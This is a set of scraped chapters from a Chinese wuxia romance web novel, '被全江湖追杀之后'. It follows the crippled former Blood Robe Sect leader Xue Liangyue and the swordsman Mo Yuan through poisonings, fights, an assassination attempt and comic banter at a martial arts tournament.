莫远走进薛凉月进去的那个客房,一进门,就看到了两个形状扭曲,趴在地上的尸体。 一人死因是从肩膀劈开到心脏的刀伤,另一个人手骨错位,双腿外翻,颈子也是折断的,大概是被掐死的。 一个人影靠在角落,毫无动静。 莫六缓缓靠近,烛火的微光勾勒出那人漂亮的侧脸,精致的眉此刻冰雕一般,没有半分生气。莫远冷眼审视片刻,通过几乎看不出来的呼吸起伏,判断这人依然活着。 莫远俯身,伸手将,他垂下的鬓发抚到耳后,轻声唤道:“颜容?” 薛凉月一个激灵,仿佛是受到这个名字的刺激,怔然了一瞬,莫远蹲下身来,左手撑住薛凉月身后的墙壁,直视着薛凉月的眼睛,嘴角慢慢勾起一个笑来,“疼不疼呐?” 薛凉月浑身微微颤抖起来,他剧烈喘息着,瞳孔时而扩大时而收缩,他好像在努力想要看清眼前的人,却无法做到。 某种凌厉的东西正在挣脱表皮的束缚,想要爬出他的身体。 “乖。”莫远拍拍他的脸,笑吟吟轻声道,“以后就跟着你相公,就不会疼了。” 他朝薛凉月伸出手。 “没有人……”薛凉月嘴里好像在喃喃着什么,鲜血从他指缝中渗出来,滴答滴答落在地上。 莫远听不清他在说什么:“嗯?” 薛凉月动了,他松开捂着肩膀伤口的那只手,慢慢地,一寸一寸,伸向悬停在自己面前的手,然后轻轻搭了上去……握住了。 莫远看着搭在自己掌心的这只手。这只手粘上了红色的血,反而显得更加苍白,并不像是杀过人的手。他嗤笑一声,手指收紧,小臂用力,想要把人从地上拉起来。 薛凉月轻咳两声,迷离的双眼中忽然闪过凌厉的杀意。莫远还没反应过来,握在手里的那双看似柔弱无力的手却忽然用力收紧。 掌心传来一阵剧痛,莫远飞快用力甩开他的手。 然而晚了,一片形似花瓣的精铁插入已经他的掌心,血很快渗了出来,染黑了整个手掌。 薛凉月双眼清明,眼神三分嘲弄七分戏谑,他从地上跃起,毫不犹豫撞开二楼窗户,随即一个翻身跳了下去,动作迅速,一点也不像受过重伤。 莫远心里骂了声娘,眼见青黑色已经从掌心蔓延到了小臂。他飞快点过右臂上几处大穴,先遏制住毒素蔓延,然后也纵身一跃,从破开的窗口跳了下去。 乌云蔽月,菩萨闭眼。 四周伸手不见五指,前方那一抹白色几乎看不清。只余枯枝败叶发出的轻微响动,时刻提醒着莫远对方的位置。 莫远封了穴道,不敢随意动用内力,否则毒气攻心,大罗金仙也救不回来。但薛凉月身上两道重伤,状态岌岌可危,显是比他不遑多让。 白影若隐若现,动作飘忽如鬼魂,现在莫远是完全相信此人正是五年前搅风弄雨的血衣门门主了。废了武功,一身伤病,尚能叫他这般头疼,不愧是能跟剑圣过几招的大魔头。 忽地,莫远耳际飘来了一缕隐隐的水声,他的瞳孔蓦然一缩,心道不妙,一瞬加快了脚步。 这水声远而低沉,隆隆作响,仿佛从脚下深处传来,绝非寻常泉水之声,更像是瀑布或是深谷河流在涌动。 果不其然,他拔腿冲出了密林,尽头是一个悬崖,隆隆的水声正从崖下传来。 崖边一道人影长身玉立,袍袖在大风中猎猎而舞,如踏云端的白鹤,随时会振翅而飞。 薛凉月面朝着他,微微一笑。 莫远咬牙切齿,眼睁睁地看着那人向后一仰,划过一道优美的弧线,旋即落入湍急的水流中。 -- “哗啦哗啦——” 憋了一整天的雨水终于得偿所愿,瓢泼般倾倒下来,天边雷声滚滚,不时有闪电撕破云层,照亮天穹,整片山林都在这洪荒之怒下瑟瑟发抖。 悬崖边盘腿坐着一个人。 碧衫少女持着一把很大的油纸伞从小径蜿蜒而上,走到男人身后,垂眸叫了他一声,“师父?” 少女手上一盏灯笼发出微弱的白光,照亮了男人的半张脸。 莫远睁开双眼,淡淡 7. 松风 《被全江湖追杀之后》全本免费阅读 沉水西起昆仑,东极圹海,横贯大燕版图,天下五城中,谯城,东都,涵州城三城都依傍沉水而建,无数商贾都依靠沉水来往。从古至今,沉水不知养活了多少代人,又冷眼旁观了多少王朝兴衰,却依旧奔腾不休,宠辱不惊。 谯城地处沉水中下游,以繁华著称。 此时正值初春,江畔青草初露碧色,水商乘着大船,载着茶叶,布匹,烟草从别处来,正打算上谯城去卖个好价钱,还有许多探亲或游玩的旅人。是以江上熙熙攘攘,渡口也挤满了船只。 一片喧嚣之中,小乌篷船靠了岸。 掌船老头将船拴好,转向三人,冲他们伸出手,脸上带着殷勤的笑容,“谯城就在那边了。三十文,不多不少的。” 秋长枫将那位不省人事的白衣公子扶下来,萧鹭大方地抛了一块碎银子过去,抱拳笑道:“谢了,老汉。” 老汉面露喜色,拱手连声道:“贵人一路顺风!” 别过掌船老汉,一行人没进城,反而转入了蜿蜒小径。萧鹭还拿了个斗笠,遮住白衣公子的脸。 他轻叹一声,忧伤道:“此等风姿,只能说世间罕见,定是那位颜公子无疑。唉,真真是天妒红颜,要是我们早日赶来……” 秋长枫背着白衣公子,步履沉重,闻言怒视萧鹭:“师兄,你既有此闲工夫感慨人生,不如来帮我背着他啊。” 萧鹭“啪”一声展开折扇,遮住自己的脸,讪笑:“不不不,你师兄我只是个文弱书生,你不如找百里师兄……” 他一回头,只见百里虹正背着他那比半人还高的黑铁剑匣,冷冷地看着自己。萧鹭默默转过身,将未出口的后半句话硬生生地咽了回去。 三人走了约莫三里地,直到暮色四合,烈日熔金,方才看见一个破破烂烂的道观,加快脚步走了进去,迎面三个青面獠牙的神像端坐神龛,供桌上的贡果已经干瘪,已经很久没人来了。 萧鹭将茅草铺开,秋长枫小心翼翼地把颜容放在茅草上,一旁百里虹放下剑匣,生起火堆,火苗跳动间,三人纷纷盘腿坐下。 萧鹭犹豫了一下,从怀里掏出一个玉瓷瓶,从中倒出一颗朱红色的丹药,肉疼道:“这可是医仙沐连毓上次赠予我的……算了,救人一命胜造七级浮屠,更何况是美人。” “拿来吧你,废话真多。”秋长枫翻了个白眼,一把夺过丹药,背过身就往颜容嘴里塞,片刻后萧鹭听见她气急败坏的声音,“娘亲,这人牙关好紧,根本不吃啊。” “嗯?”萧鹭探头看了一眼,百里虹也投来视线,就在这时,那位颜公子却闷哼一声,缓缓睁开了双眸。 -- 薛凉月视线逐渐聚焦,他看见三双眼睛正齐齐盯着自己。 左手边是个姑娘,穿着一袭朱红色的窄袖圆领短打,背一把三尺长剑,乍一看像个少年。右手边是拿着扇子的青衫公子,衣袖上绣着白鹤松枝,再远一点是个赤膊大汉,身边放着棺材似的黑铁剑匣。 薛凉月目光在那剑匣上停留片刻,状若无意地移开,对这几人的身份已经了然于胸。 南阂山,松风下,百里剑匣,这人在五年前就有点名声了,至于其余二人,看那清澈愚蠢的眼神,许是跟着出来历练的松风下小弟子罢。 “此处何地?敢问……咳咳……”薛凉月偏头闷咳数声,眼中流露出迷茫之色,“咳咳……敢问三位是……” “在下萧鹭。”华服青年执扇笑道,“师承松风下林过。这是我小师妹秋长枫,那位是我大师兄百里虹。” “松……风下?”薛凉月眨了眨眼睛,疑惑丝毫未减,“那是什么地方?” “一个江湖门派。”萧鹭答道,他将折扇在手心敲了敲,“这位公子,你可是谯城颜容?” 薛凉月没有说话,眼中流露出警惕之色。 秋长枫看着他,道:“你无需害怕,我们是正派中人,与那些邪门歪道之辈不同,绝不会因为一把剑而妄加诬陷无辜。” “我是颜容。”薛凉月轻轻叹了口气,低声道。 一旁百里虹忽然开口:“这几天你都遇到了什么,为何会沦落到这般境地?” 闻言,薛凉月眼珠子转了转,目光缓缓从这三人的面庞移到跳跃的火光之上,他沉默了一会儿才开口,声音中带着一丝颤抖,“咳咳……几天前,来了一波穿黑衣服的人,似乎是想杀我,一位……义士忽然出现,相救与我……他带着我逃窜了几天,最后不幸力竭身亡……” “……我落入水中,后面的事就不清楚了。” 闻言,秋长枫睁大了双眼,不由得肃然起敬,“这世上竟还有这样舍己为人的大侠士!” 薛凉月深以为然,含着热泪,郑重道:“是啊,回去之后我一定要给他立个牌位,好好供奉!” -- “阿嚏!”莫远忽然打了个喷嚏,他望了望天色,心道莫非是淋雨要风寒了? 此刻,莫远正坐在谯城杏花苑二楼的雅厢内,叫了两个三花姑娘,一个正在画他看不懂的山水画,一个正在写他看不懂的字,而他倚窗而坐,姿态高深莫测,手中铜樽飘出清冽酒香,面前摆着一方棋盘,第三个姑娘坐在他正对面,自顾自地跟自己博弈。 “白桃前辈。”莫远看着面前姑娘宛若削葱根的细白手指,不耐烦道,“颜容到底生的什么病?” “这么捉急干什么?”女子扫他一眼,媚眼如丝,声音里带着嗔怪,“等老娘下完这一盘。” 莫远严肃强调道:“我已经在你们楼花了一百多两银子了。”他顿了顿,淡淡补充了一句,“不要冲我抛媚眼,我是断袖,你们合欢宗的法子对我没用。” “哎呀烦死了。”女子不快地抬头,美目含怒,“你是个男人呐,一百两银子在这说了三百遍了,来我们楼里的,哪个不是腰缠万贯?还打听我们公子,要知道之前一晚上花三千两的主, 8. 一炬 《被全江湖追杀之后》全本免费阅读 三人心下俱是一惊,百里虹翻身拿起剑匣,秋长枫拔剑出鞘,面沉似水。萧鹭躲到两人身后,目瞪口呆地盯着那颗眼珠子,“娘亲啊,这是什么鬼东西?!” 薛凉月依旧缩在角落,只是轻轻蹙起眉头,仿佛觉得风太大,于是扯了扯衣服,把自己裹得更紧了,然后才抬眸看向门口,与那诡异眼珠对上了视线,看到这东西,他微微一愣,若有所思。 这时,笛声由低转高,霎时尖利。 “吼!” 顷刻间,大门被一股巨力拍开,门后的东西霎时扑了进来! 第一眼看到的是满头的乱毛,那怪物野兽一般,带着一股巨力直直扑向最后方的薛凉月,百里虹大喝一声,左踏一步,橫起剑匣直劈向那东西,黑铁剑匣气势如虹,瞬间将其拍飞。 还没来得及喘口气,却听左右两边的窗户也传来嘶吼,两只同样的怪物扑了进来。 秋长枫轻叱一声,身法飘逸,长剑划过一道干净利落的半圆,干净利落地斩下那怪物的半个肩膀,另一边,萧鹭则以扇为刀,看准要害,出手快如疾风,直取怪物的脖颈。 三具尸体落下来,三人俱愣住,倒吸一口凉气。 “这是……小孩?!” 地上躺着的尸体,身材矮小,大约十一二岁大,周身爬满诡异的青黑色纹路,四肢扭曲,脸色发青,眼白占比极大。 薛凉月瞳孔慢慢放大了。 “什么人干的……”百里虹眉头紧锁,虬结的肌肉紧绷,如电的目光射向窗外,那诡异的笛声依旧在周围回荡。他大喝一声,“宵小之辈,出来!做出这种畜牲事,不怕死后下十八层地狱吗?” 笛声稍停,一声几不可闻的冷笑在林中响起。 曲声再次响起,窸窸窣窣的爬行声一点点靠近,下一秒,十来个跟刚刚一模一样的怪物破门窗而入! -- “呵。” 道观内已无声响,席屏之放下竹笛,鼻翼间间发出一声不屑的冷哼。他信步从林中走出,待走到道观门口,瞳孔却是一缩—— 门内血流满地……那三个松风下的拦路虎的确已经躺在地上一动不动了,然而,除此之外,他的那些“孩子们”也横七竖八倒在地上,有的四肢俱断,有的整个人被横切开来。 一个人披着半身血污,背对着他站在道观正中心,低垂着头,肩膀剧烈颤抖着,这时,席屏之听见了那曾经无数次出现在他噩梦里的古怪声音。 像悲泣,又似是狂喜的狞笑。 “呵呵呵呵呵呵呵呵……” 席屏之呆在当场,仿佛一瓢冷水兜头泼下。 那人垂在身畔的左手上握着一把短匕,造型诡异,柄似鸟首,刀背浓黑,刃口却雪亮。 笑声渐敛,恶鬼缓缓转过身。 席屏之腿一软,“咚”一声双膝着地,他瞪目凝望,只见那双多情的桃花眼,此刻血红一片……跟五年前鬼面下的那双眼睛一般无二。 “叩……叩见门主!” 席屏之结结巴巴道,薛凉月慢慢走到他面前,垂眸看着他,神色中看不出半分情绪,他看了许久,终于想起了,“席屏之……你是席裘的徒弟,对不对?” 那声音轻柔舒缓,颇为动听,甚至有点和蔼可亲。 席屏之却忽然涕泪横流,他跪伏在地,声音里带着难以掩饰的恐惧,“门主饶命!实乃赵护法威逼,在下无奈,才违心行事,望门主饶恕在下一命!” 薛凉月轻咳两声,“是赵汩么……” “是!”席屏之仿佛抓到了救命稻草一般,咬牙切齿骂起来,“都是赵汩那个奸人!自从门主您仙去……离开以后,整个血衣门就成了赵汩的一言堂……” 话至此处,戛然而止,一颗小石子从他的眉心穿过。 席屏之的身躯微微晃动了一下,旋即颓然侧倒下去。 “咳咳咳咳咳咳!” 薛凉月又捂着嘴剧烈咳嗽起来,山风簌簌吹过,他半边没被血浸湿的单衣被风吹起,猎猎而舞,更显得他身形单薄,仿佛随时会被吹跑。 他转身走进道观,将里面三个晕倒的活人拖出来,随手扔在山岗上,再将席屏之的尸体踹了进去,随即以茅草为引,点燃了整座道观。 熊熊烈火,照彻长夜,魑魅魍魉与青面獠牙的三清神像一起扭曲变形,最终化为灰烬。薛凉月站在火光面前,伸出手,仿佛在取暖。 不知过了多久,半空乍然落下一片落叶,薛凉月瞳孔一缩,抬头,只见树梢轻颤,一只夜枭振翅,划破夜空,高飞而去。 除此之外,那儿什么也没有。 然而下一秒,冰凉的剑刃抵在了他的喉头,黑暗中一个格外欠揍格外讨厌的熟悉声音响起,莫远咬牙切齿地笑道,“娘子,你真会跑呐。” -- 帝都,皇宫内。 广袖长袍的男子高坐殿中,金线绣成的飞龙从他腰腹处盘绕至袖边,张口欲吞吐云雾。他生了一双漂亮的桃花眼,眉梢上挑,样貌昳丽。 美则美矣,脸上却没什么血色,双眼半阖,眉目间尽是倦怠。他手撑着头,斜靠在龙椅内,手捧金盘的小太监站在他身后,眼观鼻鼻观口低头看鞋。 暗探跪在金阶下,汇报道:“十日前,武林盟主林卷海在沉水被刺,有人目击称是一个名为颜容的富商杀的,浮玉山正悬赏通缉此人。” 慕璟问:“鹰部的人?” 暗探:“不知。此人似乎与合欢宗有些干系。” 慕璟放下手,略坐直了些,从金盘中取了杯热茶,啜了口,神色间依然淡淡,“知道了,下去吧。” 暗探:“季堂主还托属下带了封信。” 听闻这句话,慕璟动作顿了顿,道:“拿来瞧瞧。” 暗探从怀里掏出一个铜匣,站起身,一步步踏上金阶。 他低着头,恭敬地将铜匣递与龙椅上的男人,就在慕璟伸手去接的时候,异变陡生! 暗探手里的铜匣“砰”的一声落地,他手里竟藏着一把短剑,剑刃被毒淬出了幽蓝色,他一把握住,猛然向前刺去! 然后他停住了,再也无法前进一分。 剑刃离天靖帝的心口只有一指之遥。 站在慕璟身后当摆设的小太监不知何时向前踏出一步,身形飘若鬼魅。他站在慕璟左侧,左掌虚按在刺客胸前,刺客双目圆睁,就这么僵硬了片刻,颓然向后倒下,尸体沿着金阶缓缓滑到地上。 如果有人切开这刺客的胸口,会发现他的心脉 9. 龙首 《被全江湖追杀之后》全本免费阅读 【震惊!武林盟主疑似他杀实则自杀?!】 【白云寺大弟子究竟是谁的儿子?】 【松风下清玄老祖到底死了没?】 【五年前,血衣门门主薛凉月死因到底为何?】 【六合剑派,你所不知道的发家之史。】 【那个昙花一现的怪才景安……】 【五义堂最神秘的四首座……】 【听剑阁五太保的秘密……】 …… 一切尽在《江湖都知道》!! -- 夜深如晦,城中寂静无比,只隔着几条街,远远听见更夫敲着梆子拖长声音喊道:“天干物燥——,小心火烛——"。 屋内,一灯如豆。 一人黑衣蒙面,腰悬长剑,立于堂中。 一人白衣翩翩,手执玉扇,坐在几后。 黑衣人:“阁下就是江湖都知道?” 白衣人:“在下正是江湖都知道。” 黑衣人肃然起敬,拱手:“先生贵姓?” 白衣人玉扇轻摇,含笑:“免贵姓窦,名知道。” 黑衣人:“……窦先生。在下有一事相问。” 窦知道笑容愈发亲切:“一个字一百两,价格公道,童者无欺。小本生意,现银交易,至亲好友,赊欠免谈。想问什么,少侠不妨直说。” 黑衣人:“……窦先生真是快人快语。” 窦知道谦虚:“过奖。” 烛影摇曳,光影斑驳,墙上明暗交织。黑衣人深吸一口气,又缓缓吐出,自襟中轻取一纸,上面墨痕斑斑,字迹如野狗乱爬,横七竖八,颇有醉酒之姿。 黑衣人眉宇间掠过一抹阴霾,神情肃然,沉声问道:“我想知道……纸上的这些名字,还有谁活着?” 窦知道接过来,扫了一眼,笑了,“哎呦喂,少侠,你得破费了。” 黑衣人淡淡道:“钱不是问题。” 窦知道大喜! “我就喜欢少侠这样豪爽的人!” 他将折扇一收,自旁侧取一张洁白宣纸,挥毫泼墨间,笔走龙蛇,留下几个字迹。随后,他细心地将宣纸折起,双手呈上,殷勤递与对面的黑衣人。 “一共九百两,金银珠玉银票都行哈。” 黑衣人从怀中掏出几粒似珍珠而略透明的东西,放在桌案上,“这个行吗?” 窦知道轻轻拾起一粒,凑近端详,立刻满脸堆笑,“归墟眼,这是好东西,当然可以。少侠,你不简单呐。” 黑衣人将那张纸收入怀中,再次拱手:“告辞。” 转身欲走,却听窦知道在身后叫住了他,“哎,少侠,留步!” 黑衣人陡然警觉,双眸微眯,手抚剑柄,蓦然回首。却见窦知道执起桌上的一册小卷,笑容和煦,向他递来。 黑衣人:“……此乃何物?” 窦知道摇扇微笑:“少侠出手豪阔,在下好生钦佩。特赠本店最新的一本《江湖都知道》,小礼不成敬意。少侠千万收下,哪怕自己不看,逢年过节,送给亲友也是上乘之选啊!” 黑衣人迟疑一瞬,伸手接过,打眼就看见封面上一行大字:“归雪楼大弟子楚秀究竟是男是女?原来,大家都错了!” “……” 黑衣人脸色阴沉,掀帘而出,身影没入门后的黑暗。 窦知道悠然坐于案前,口中吟咏着不成调的古调,就着烛光把玩着那一堆“归墟眼”,笑呵呵一脸守财奴样。 “白晓,五十年了,你还是一点没变啊……” 房梁上忽然幽幽飘下一句话。 听到这个声音,窦知道先是一愣,旋即笑脸立刻跨了下来,他冷哼一声,“彼此彼此——你来做什么?不欢迎不欢迎。” 梁上那个幽幽的声音又叹了口气,“你把那件事告诉了他,恐怕这次武林大会又不得安稳了……还嫌这几日江湖上风波不够多吗……” “与我何干?”窦知道眯了眯眼,冷笑道,“这世上只有银子与我相干。怎么着?想杀我?那你一个人不够。” 窦知道放下手中的归墟眼,懒懒道:“至少……得把你家‘那位’带来。” 房梁上一声轻笑,“谁说我是来杀你的?” 一人悠然从半空飘下,白衣长靴,身姿犹如九天谪仙,轻若落叶,悠悠落地,一点声响没有,那人抬头一笑,俊秀脸庞一派风流。 “我也是来做生意的好吗?” -- 龙首山,龙尾镇。 因着武林大会的缘故,镇上人潮涌动,江湖儿女背刀携剑,穿梭其间。不时有人骂骂咧咧,乃至拔刀相向,亦有旧友相逢,互相问好,笑语盈盈,携手相谈甚欢。 “好!不要手下留情!” “打死他!” “李师兄这招使的漂亮!” “祖前辈,好久不见!前辈当年那一招‘气震北斗’晚辈至今记忆犹新!” “啊!兄台是六合剑派的嫡传弟子?失敬失敬……” 一辆平平无奇的马车从镇上慢悠悠地晃过,并没有惹来什么目光。 马车停在一家客栈的门口,赶车的人回身挑开车帘,将车内的人扶了下来。 从车上下来的人一披厚厚的大氅,戴着斗笠,身材高挑,露出衣袖的手指白皙修长,像是个富贵人家的少爷。 路人不免多看了几眼,那车夫便回望过来,狭长双目凉凉的一眼看得路人心里发毛,在反应过来之前,自己已经情不自禁的移开了目光,避免与这人对视。 这车夫不是好相与的,江湖多怪人,一时之间也没有人上去搭讪,车夫旁若无人地带着白衣公子进了那家客栈。 这两人当然就是薛凉月与莫远。 莫远这个人脑子有坑,执意带他前来武林大会“讨公道”,薛凉月对此事非常抗拒,奈何武功被废,没有内力肯定打不过他,只能忍气吞声。 一路从竹外桃花三两枝,行至寂寞荼靡花事了。 “两碗素面。” “好嘞。”小二利落地端上两碗清汤挂面,里面漂浮着两根孤零零的青菜苗,半点油腥子见不到。 斗笠下,薛凉月闷咳两声,语带忧伤,“大侠,你抢了我的玉佩,不知道换了多少钱,有钱可以吃点好的,这一路上素面来馒头去,是不是太寒碜了点?” 莫远看他一眼,轻声道,“乖,薛门主,你身体不好,那就吃点素的,这是为你好,为夫并不是抠门。” 这一句“薛门主”,喊得薛凉月心头一梗,他强压下怒火,尽量语气平缓地问 10. 拔刀 《被全江湖追杀之后》全本免费阅读 ……血衣门什么时候与归雪楼关系这么好了? 血衣门传承不长,其前身是鲁朝岭北王背后的幕僚组织“血衣”,昔年岭北王苏昌叛乱未遂,中原内乱,血衣首座出逃江湖,创立“血衣门”,至今未逾百年。 其在苏昌手下的时候,干的就是主要暗杀之类的脏活,而这种门派文化长久以来都铭刻在血衣门的骨子里。 而归雪楼打出去的名号就是天下第一杀手组织……两者互为劲敌,向来不相为谋,虽从师无夜开始,血衣门已偏向毒蛊传承一脉,然此等对立,几乎已成宿怨,世代相传。 至少到薛凉月掌权期间,还是看不到血衣门与归雪楼在武林大会能相安无事坐一边的。 “太阳打西边出来了……” 旁边有人对着这一行人指指点点,显然也大为惊讶。 赵汩负手而行,不动声色扫视了一圈周围的人,显然对人群避之如虎的态度非常满意,偏头对淞花长老笑道:“……若长老试用之后,尚觉满意,他日本门还能提供更多,上不封顶。” 淞花笑道:“自然。” 两人相谈甚欢,渐行渐远。 薛凉月似乎觉得这个姿势很舒服,于是没动,隔着斗笠看不清他在看什么地方,莫远用腕关节抵了抵他,示意道:“起开。” 薛凉月偏头挑眉,低声道:“你主动抱的,揩完油又赶我走?” 莫远瞥了一眼远处那两人,“薛门主,你就不好奇他们在干什么吗?” “不好奇。”薛凉月柔声道:“我已经退休了,现在比较好奇什么时候能清清白白回谯城。” 莫远道:“但为夫有点好奇。” 薛凉月刚想说,夫君你自可以跟上去瞧瞧,然后我可以那么不清清白白地回谯城,躲起来过个三年五载。 便听莫远道:“娘子,你已经整整一个时辰没有咳嗽过了,想来近日身体不错,我们把后面那两个人打晕,混进去更刺激。” “咳咳咳!”薛凉月立马以袖掩面,一心一意地咳嗽起来。 莫远瞥了他一眼,“不要装。” 薛凉月放下袖子,极为认真道:“大侠,我身上背着悬赏,你又把我内力废了,混进去岂不是羊入狼群?” 莫远轻笑,手指勾起薛凉月掉在胸前的一缕长发,眼里放着奇异的光,低声道:“我记得薛门主还有一手毒蛊之术……甚是可怕呢。” 他嘴里说的是“可怕”,神色却像在说“有趣”。 薛凉月又强调了一遍:“我已经退休了。”顿了顿,又补充道:“毒蛊非武功,需要提前准备药材,我身上都被你摸遍了,你瞧见什么异物了吗?” 莫远将手上药包提到他跟前,“这个呢?” 薛凉月:“……那是治咳嗽的。” 莫远皱眉:“你不能组合一下,使其成为绝世奇毒吗?” 薛凉月端详他片刻,判断出莫大侠并不是在开玩笑,而是真情实意地在问这个愚蠢的问题。他沉默片刻,道,“大侠,若薛某有此等化腐朽为神奇的本事,早就在路上把你毒死了。” 莫远听罢,看起来很伤心:“阿月,我对你这般好。” 薛凉月:“大侠,你指的是这一个月来,每日不见半分荤腥,你白天赶路专挑山路,我晚上被你叫起来看星星睡不好觉,时不时还因为惹你生气被绑起来吗?” 莫远一噎。 薛凉月轻轻挑开面纱的缝隙,那双漂亮的桃花眼仿佛会说话,薛凉月的眼睛幽怨说道:“大侠,人不能,至少不应该这么不要脸。” 说话间,血衣门和归雪楼众人已然走远,看不见了,于是这个提议只好作罢。莫远放下手,转身朝客栈的方向走去,轻咳一声,“算了,我不跟你计较。走吧。” -- 刚越过客栈的大门,耳畔便传来呼啸风声——一张木桌忽然向二人迎头砸了过来! 薛凉月闪到莫远身后,莫远屈指一弹,那张木桌顿时四分五裂,纷飞间错开二人,呼啸着散落至客栈门外。他面沉似水,冷冷看向客栈内。 “你就这么爱出风头?!非得在父亲面前给我难堪!” 一声暴喝从客栈角落传来,莫远循声望去。 只见一个身着华袍的少年踩在一个人的身上,指着他的鼻子唾沫横飞,声音因愤怒而有些扭曲,“我告诉你,别以为你剑法稍微好那么一点点就能在家族里横着走了,我们家,师父说了算!!家奴就该有家奴的样子,否则我将来当上家主,第一个要扫地出门的就是你!!” 地上那人身形瘦削,看上去也是个少年,他没说话,只是抬起手,捂住自己的脸和脑袋,动作非常之熟练,看样子这种事已经发生过很多回了。 踩在他背上那个人恶狠狠盯着他,撸起袖子,准备开打,然后……身体就不由自主向后一仰,差点摔倒。 他大骇,扭过头,只见一个高挑的凤眸年轻人单手拎着他的后领,面色不愉,阴测测道:“刚刚那张桌子就是你小子扔出去的?” “你你你……” 那人瞪大双眼,下意识去寻找自己的手下,却见那几人维持着原来的动作,站在原地一动不动,神色比他还惊骇。 “我、问、你、呢。”莫远拎着他的后领,眯着眼,“是不是你?你知道我夫人受了多大的惊吗?” 薛凉月很配合地咳嗽两声。 华服少年循声望去,看见了这人所谓的“夫人”,站在不远处,一身白衣,虽然戴着斗笠,但看上去比拎着他那人还高,身材也并不像女子。 华服少年:“……” 他表情像吃了屎一样。 莫远又把他在半空中晃了晃:“你不说,我就当是你了。钱袋留下,人滚出客栈。别让我和我夫人今天再看见你!” 忽然,少年眼睛一亮,与此同时,莫远感觉一道掌风从背后袭来,招式凌厉,直取他风门穴。 莫远瞬间将华服少年抡圆了扔出去,身形一晃,避开这一掌,回身也推出一掌,两掌相触,对面之人后退半步,莫远却神态自若。 那是一个中 11. 斗酒 《被全江湖追杀之后》全本免费阅读 进屋,一关上门,莫远立刻朝薛凉月伸出手,语气理所当然,“钱袋给我。” 薛凉月摘下斗笠,闻言动作一顿:“你不是说挣的钱全给我花?” “给你花,不给你花给谁花?”莫远轻巧从他手上抢过钱袋,抬眼看他,微笑,“只是娘子你花钱大手大脚,放在你那说不定没半个月咱俩就得去喝西北风。” 薛凉月气愤地指着他:“那你在外边……” 莫远一挑眉:“做做样子,我一个‘前辈高人’不要脸的吗?” 薛凉月无法,只得换了话题,质问:“林况是谁?你老相好的?” “当然不是。”莫远立刻严肃否认,“一面之缘罢了,松风下大弟子,脸不及娘子你,武功不及你,性格也不及你……料来床上也不及你能哭。” 薛凉月:“……什么意思?” “字面意思。”莫远笑得一脸浪荡,目光直直往下三路而去,语调轻佻,“我喜欢床上能叫能哭的男人……” 薛凉月拢了拢狐裘,后退三步,警惕看着莫远。 莫远笑着收回目光,转过身,把药包搁在桌上,“怕什么,你夫君不是那等孟浪之人,洞房花烛不急在一时,放心,到那个时候……”他回头勾唇一笑,“叫你心甘情愿躺上去。” 薛凉月从牙缝里挤出几个字:“我杀了你……” 莫远无所谓地推门而出,留下一句话,“我去问问掌柜,有没有药炉借来用用,你留在此处且先歇歇。” 待莫远走出房门,薛凉月慢慢便收敛了所有表情,他缓步踱到窗边,过了片刻,窗外传来扑腾翅膀的声音,薛凉月将窗户微微推开一条缝,一只棕色小鸟钻了进来,停在床上。 “啾。”小鸟歪着头,吐出嘴里叼着的一颗蜡丸,薛凉月伸手拿过,小鸟扑腾着翅膀又钻出窗户飞出去了。 这种鸟是五毒教那边传过来的,以虫蛊炼化,性情聪颖,且不会背主,很适合用来做传信之类的事。 蜡丸中藏着一张纸片。 薛凉月展开看了一眼,随手扔在一旁的烛火上,火焰舔舐过薄如蝉翼的信纸,旋即灰烬轻飘飘地落下,悄无声息,融入客栈地上那一层陈年老灰中。 -- 莫远离了客房,从怀里掏出一根布条,重新覆上双眼,他并未依言去寻找店家求取药炉,而是径直出了客栈,悠然走上喧哗街头。 街上人来人往,并没有人注意到一个古怪的瞎子。 他走到街尾,眸光一动,心道好巧,说曹操曹操到。 只见那里拐角处,一个平平无奇的旧书摊边,白衣佩剑的年轻人正在跟摊主讨价还价:“……你不能这样,本来是十文的,上次涨了三文,这次又涨了五文,我看别人都没有……不不不,这不是钱的问题,我觉得你这是瞧不起我。老板你就说实话吧,是不是看我面善欺负我?” 一只手拍了拍他肩膀:“林况!” 白衣年轻人一愣,回头看见莫远,立刻惊喜地唤了一声,“莫兄?!”他扭头扔下手里旧书,对摊主道:“不要了!” 摊主急了:“哎,十文就十文……少侠!” ……好骗的白衣少侠已经跟那突然出现的古怪瞎子走远了。 林况感叹:“莫兄,我是真没想到你会来武林大会,前两次都没见到你人影,这是你第一次来。若有意前来,何不早先告知愚弟,跟着我们松风下上山,到时候有雅座呢。” “带着内人。”莫远轻描淡写答道,神色似笑非笑,“不方便。” “莫兄成家了?”林况很惊讶,忙抱拳祝贺,“也是时候了……恭喜恭喜!嫂子在哪呢?” 莫远轻笑:“客栈。他身体不好,不能吹风。” 林况了然。 这时,前方不远处传来一阵喧闹。林况抬头,只见不远处的一家酒坊外头正挤着一堆人,看热闹似的,叫好声不断。 两人现在走在龙尾镇的西街上,这条街还有个别称,叫“沽路街”,顾名思义,这条街的特色就是林立的酒坊,隔不了几步路,便能看见或青或红的酒幌,迎风招展,腾若飞扬。 “好!这局小兄弟又赢了!!” “千杯不醉,万杯不倒!厉害!” 人声鼎沸中,林况低声向莫远道:“这里面恐怕是有人在比酒,这也是沽路的传统了,最后赢的一个人能在这家店白喝一年的酒。” 莫远笑了,“这么有趣?” 他似乎生起了一丝兴味,径直向人群走去。 两人拨开人群,看见酒坊正中央摆着一张大桌子,桌子两头各坐着一个人,桌子上摆着一坛酒,酒坛非常之大,桌脚还倒着七八个同样大小的空酒坛。 左侧坐着一个高马尾的少年,看上去十六七岁的样子,他单手拎起那一坛酒,将自己面前的大海碗满上,一口灌了下去,神色如常。 右侧坐着一个大汉,脸色已然涨得通红,他一咬牙,双手端起酒坛,也一口灌了下去。 少年敲了敲桌子,语气淡然:“你醉了,换人吧。” 大汉猛一拍桌子,差点把那坛酒打翻,眼睛瞪得跟铜铃似的,大着舌头道:“我没醉!谁他妈敢说我醉了?!” “你醉了。”少年神色不变,又重复了一遍刚才的话,“换人。” “呵呵呵……” 大汉斜眼看了少年一眼,“你别是不敢比了吧?” 说着从背后抽出一把大刀,大刀在半空中画了一个满月似的大弧,旋即一刀劈碎了酒坛! 围观人群倒抽一口冷气。 大汉看着少年,阴恻恻道:“老子说,老子没醉,听明白了吗?” 少年:“……换人。” 大汉霍然站起,勃然大怒吼道:“老子是斗龙山王大虎!” 说着手腕一翻,横刀直劈少年。 林况急了,挽起袖子:“哎!君子动口不动手,你怎么能欺负小孩呢?” 莫远一把将他按下,“少多管闲事,你且看着。” 